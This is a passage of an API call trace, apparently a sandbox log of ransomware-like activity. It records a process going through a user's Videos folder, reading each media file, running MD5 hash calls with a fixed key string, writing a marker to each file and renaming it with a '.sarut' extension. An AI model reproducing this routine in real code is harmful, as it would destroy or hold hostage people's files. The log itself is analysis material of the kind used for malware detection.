lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e31aa20, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x90041360, ftLastAccessTime.dwHighDateTime=0x1d4c81d, ftLastWriteTime.dwLowDateTime=0x90041360, ftLastWriteTime.dwHighDateTime=0x1d4c81d, nFileSizeHigh=0x0, nFileSizeLow=0x921b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SY7CEy_advQ-GPuP.swf", cAlternateFileName="SY7CEY~1.SWF")) returned 1 [0269.846] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SY7CEy_advQ-GPuP.swf") returned=".swf" [0269.846] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SY7CEy_advQ-GPuP.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sy7cey_advq-gpup.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.846] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=37403) returned 1 [0269.846] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.849] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x91f5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.849] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.851] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x921b, lpOverlapped=0x0) returned 1 [0269.851] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.852] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.852] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.852] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.853] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.853] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.853] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.853] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.853] GetLastError () returned 0x0 [0269.853] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.853] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.853] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x921b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.853] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.853] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.854] CloseHandle (hObject=0x5c4) returned 1 [0269.857] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SY7CEy_advQ-GPuP.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sy7cey_advq-gpup.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\SY7CEy_advQ-GPuP.swf.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sy7cey_advq-gpup.swf.sarut")) returned 1 [0269.858] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e6feb0, ftCreationTime.dwHighDateTime=0x1d4ca69, ftLastAccessTime.dwLowDateTime=0x207fe9f0, ftLastAccessTime.dwHighDateTime=0x1d4d3cc, ftLastWriteTime.dwLowDateTime=0x207fe9f0, ftLastWriteTime.dwHighDateTime=0x1d4d3cc, nFileSizeHigh=0x0, nFileSizeLow=0x1d3a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sz7_xapMC.avi", cAlternateFileName="SZ7_XA~1.AVI")) returned 1 [0269.859] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sz7_xapMC.avi") returned=".avi" [0269.859] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sz7_xapMC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sz7_xapmc.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.859] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=7482) returned 1 [0269.859] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.861] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1d14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.861] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.863] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1d3a, lpOverlapped=0x0) returned 1 [0269.863] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.864] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.864] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.864] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa51f8) returned 1 [0269.865] CryptCreateHash (in: hProv=0x2fa51f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.865] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.865] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.865] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.865] GetLastError () returned 0x0 [0269.865] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.865] CryptReleaseContext (hProv=0x2fa51f8, dwFlags=0x0) returned 1 [0269.865] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1d3a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.865] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.865] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.865] CloseHandle (hObject=0x5c4) returned 1 [0269.869] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sz7_xapMC.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sz7_xapmc.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\sz7_xapMC.avi.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\sz7_xapmc.avi.sarut")) returned 1 [0269.871] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3869f5f0, ftCreationTime.dwHighDateTime=0x1d4d297, ftLastAccessTime.dwLowDateTime=0x2c73a8c0, ftLastAccessTime.dwHighDateTime=0x1d4ceca, ftLastWriteTime.dwLowDateTime=0x2c73a8c0, ftLastWriteTime.dwHighDateTime=0x1d4ceca, nFileSizeHigh=0x0, nFileSizeLow=0x15f3b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UCiGSIuisINE78_i.mp4", cAlternateFileName="UCIGSI~1.MP4")) returned 1 [0269.871] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UCiGSIuisINE78_i.mp4") returned=".mp4" [0269.871] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UCiGSIuisINE78_i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ucigsiuisine78_i.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.871] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=89915) returned 1 [0269.871] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.873] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15f15, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.873] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.875] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x15f3b, lpOverlapped=0x0) returned 1 [0269.876] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.876] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.876] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.876] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.877] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.877] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.877] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.877] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.877] GetLastError () returned 0x0 [0269.877] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.877] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.878] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x15f3b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.878] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.878] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.878] CloseHandle (hObject=0x5c4) returned 1 [0269.880] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UCiGSIuisINE78_i.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ucigsiuisine78_i.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UCiGSIuisINE78_i.mp4.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ucigsiuisine78_i.mp4.sarut")) returned 1 [0269.899] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1ed8480, ftCreationTime.dwHighDateTime=0x1d4d08e, ftLastAccessTime.dwLowDateTime=0xd6c39050, ftLastAccessTime.dwHighDateTime=0x1d4d4ca, ftLastWriteTime.dwLowDateTime=0xd6c39050, ftLastWriteTime.dwHighDateTime=0x1d4d4ca, nFileSizeHigh=0x0, nFileSizeLow=0x37d9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UOIbo9FKzWl25DD93Yi9.mp4", cAlternateFileName="UOIBO9~1.MP4")) returned 1 [0269.899] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UOIbo9FKzWl25DD93Yi9.mp4") returned=".mp4" [0269.899] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UOIbo9FKzWl25DD93Yi9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uoibo9fkzwl25dd93yi9.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.899] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=14297) returned 1 [0269.899] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.901] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x37b3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.901] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.902] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x37d9, lpOverlapped=0x0) returned 1 [0269.903] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.903] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.903] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.903] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.904] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.904] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.904] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.904] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.904] GetLastError () returned 0x0 [0269.904] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.904] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.905] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x37d9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.905] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.905] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.905] CloseHandle (hObject=0x5c4) returned 1 [0269.907] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UOIbo9FKzWl25DD93Yi9.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uoibo9fkzwl25dd93yi9.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\UOIbo9FKzWl25DD93Yi9.mp4.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\uoibo9fkzwl25dd93yi9.mp4.sarut")) returned 1 [0269.910] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44da95b0, ftCreationTime.dwHighDateTime=0x1d4cf31, ftLastAccessTime.dwLowDateTime=0xc4b145d0, ftLastAccessTime.dwHighDateTime=0x1d4cf37, ftLastWriteTime.dwLowDateTime=0xc4b145d0, ftLastWriteTime.dwHighDateTime=0x1d4cf37, nFileSizeHigh=0x0, nFileSizeLow=0x176e5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="X4T9oiLBOsZNDrM.mp4", cAlternateFileName="X4T9OI~1.MP4")) returned 1 [0269.910] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X4T9oiLBOsZNDrM.mp4") returned=".mp4" [0269.910] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X4T9oiLBOsZNDrM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4t9oilboszndrm.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.911] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=95973) returned 1 [0269.911] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.912] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x176bf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.913] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.914] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x176e5, lpOverlapped=0x0) returned 1 [0269.916] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.916] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.916] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.916] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.917] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.917] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.917] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.917] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.917] GetLastError () returned 0x0 [0269.917] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.917] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.918] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x176e5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.918] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.918] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.918] CloseHandle (hObject=0x5c4) returned 1 [0269.920] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X4T9oiLBOsZNDrM.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4t9oilboszndrm.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X4T9oiLBOsZNDrM.mp4.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\x4t9oilboszndrm.mp4.sarut")) returned 1 [0269.922] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80fee50, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xba6e9460, ftLastAccessTime.dwHighDateTime=0x1d4cf41, ftLastWriteTime.dwLowDateTime=0xba6e9460, ftLastWriteTime.dwHighDateTime=0x1d4cf41, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YcDckA2w- DNgH7cL.flv", cAlternateFileName="YCDCKA~1.FLV")) returned 1 [0269.922] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YcDckA2w- DNgH7cL.flv") returned=".flv" [0269.922] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YcDckA2w- DNgH7cL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ycdcka2w- dngh7cl.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0269.922] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=4657) returned 1 [0269.922] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0269.924] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x120b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.924] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0269.925] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x1231, lpOverlapped=0x0) returned 1 [0269.926] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.926] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.926] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0269.926] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5060) returned 1 [0269.927] CryptCreateHash (in: hProv=0x2fa5060, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0269.927] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0269.927] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0269.927] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0269.927] GetLastError () returned 0x0 [0269.927] CryptDestroyHash (hHash=0x3091560) returned 1 [0269.927] CryptReleaseContext (hProv=0x2fa5060, dwFlags=0x0) returned 1 [0269.928] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x1231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0269.928] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0269.928] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0269.928] CloseHandle (hObject=0x5c4) returned 1 [0269.929] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YcDckA2w- DNgH7cL.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ycdcka2w- dngh7cl.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\YcDckA2w- DNgH7cL.flv.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\ycdcka2w- dngh7cl.flv.sarut")) returned 1 [0269.930] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe80fee50, ftCreationTime.dwHighDateTime=0x1d4c9ec, ftLastAccessTime.dwLowDateTime=0xba6e9460, ftLastAccessTime.dwHighDateTime=0x1d4cf41, ftLastWriteTime.dwLowDateTime=0xba6e9460, ftLastWriteTime.dwHighDateTime=0x1d4cf41, nFileSizeHigh=0x0, nFileSizeLow=0x1231, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YcDckA2w- DNgH7cL.flv", cAlternateFileName="YCDCKA~1.FLV")) returned 0 [0269.930] FindClose (in: 